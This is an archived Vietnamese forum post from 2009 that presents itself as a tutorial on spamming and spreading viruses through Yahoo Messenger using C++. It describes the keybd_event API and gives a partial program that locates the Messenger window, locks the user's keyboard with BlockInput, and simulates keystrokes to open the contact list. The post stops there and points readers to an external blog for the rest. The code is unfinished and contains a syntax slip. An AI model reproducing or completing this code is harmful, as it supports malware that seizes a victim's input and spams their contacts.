PDA

View Full Version : Phương thức Spam trong yahoo Messenger



han_doi
19-05-2009, 13:46
Giới thệu với các bạn phương thức Spam và phát tán virus trong yahoo messenger bằng lập trình c++, nó rất là đơn giản và dể hiểu, sữ dùng hàm API keybd_event là chủ yếu. Sau đây mô tả sơ lược về hàm keybd_event :

+ Cấu trúc : VOID keybd_event(
BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
+ Thông số :
bVk : mã phím ảo của phím cần tạo sự kiện hoặc nhả.
bScan : để dành lập thành 0.
dwFlags : kết hơp các cờ sau để định rõ hình thức nhập bàn phím để tổng hơp, KEYEVENTF_EXTENDEDKEY là thêm tiếp đầu ngữ có giá trị &HE0 vào mả quét, KEYEVENTF_KEYUP là phím xác định bằng tham số bVk đang được nhả ra. Nếu cờ này không được chỉ rõ thì phím đang được ấn xuống
dwExtraInfo : Một giá tr phụ 32 bit tương ứng với sự kiện bàn phím

Xem ví dụ sau đây để hiểu cách dụng hàm keybd_event :
#include "stdafx.h"
#include "Winable.h"
#include "windows.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

// Bước đầu tiên tìm xem có yahoo messenger đang run không
HWND YahooM;
YahooM = FindWindow("YahooBuddyMain",NULL);
if (YahooM != NULL) // nếu tồn tại, ta thực hiện các bước sau
{
BlockInput(1); khoá bàn phím
ShowWindow(YahooM,SW_RESTORE); //hiện yahoo Messenger trên nền background
SetForegroundWindow(YahooM);

// Tiếp theo ta Lấy danh sách các nick trong list yahoo
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
vào blog http://toanthang.spaces.live.com/ xem tiếp phần sau ...